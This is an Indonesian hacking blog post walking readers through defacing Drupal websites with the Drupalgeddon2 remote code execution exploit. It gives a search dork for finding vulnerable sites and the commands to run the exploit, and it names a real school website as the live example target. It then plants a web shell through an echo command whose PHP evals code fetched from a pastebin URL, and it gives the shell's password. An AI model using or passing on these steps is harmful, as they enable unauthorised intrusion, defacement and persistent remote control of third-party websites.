Drupal Geddon - RCE (Remote Code Execution) - Mastah Cyber

Mastah Cyber

Tutorial, Teknologi, Android, Dan Sebagainya

Breaking

Home Top Ad

Post Top Ad

Monday, April 23, 2018

Drupal Geddon - RCE (Remote Code Execution)


Halo guys...

   Kali ini saya akan memberi tutorial bagaimana deface menggunakan RCE Drupal. Ya langsung saja :

Dork : intext:"powered by drupal" (kembangkan)

Buka Termux/Terminal :
pkg install git
gem install ruby
github.com/dreadlocked/Drupalgeddon2

Buka Folder nya :

cd  Drupalgeddon2

Cara menjalankan nya :

ruby drupalgeddon2.rb target.com

Contoh live :

ruby drupalgeddon2.rb http://school.unklab.ac.id
Jika berhasil, web tersebut akan connect ke terminal kalian.


Cek lah dengan perintah

uname -a


 Jika muncul kernel nya berarti berhasil.

Langsung saja kita upload shell kita , disini saya menggunakan shell LamonganXploiter, kalian juga bisa mengubah shell nya, cara upload nya kalian hanya tinggal ketik :

echo '<?php eval("?>".file_get_contents("https://pastebin.com/raw/en5tp4kX"));?>' > shell.php

Setelah terupload langsung saja kita cek shell kita di site.com/shell.php

Note*
Password Shell LAX adalah " LAX "

Mudah bukan?, Sampai Jumpa :D

No comments:

Post a Comment

Post Bottom Ad

Responsive Ads Here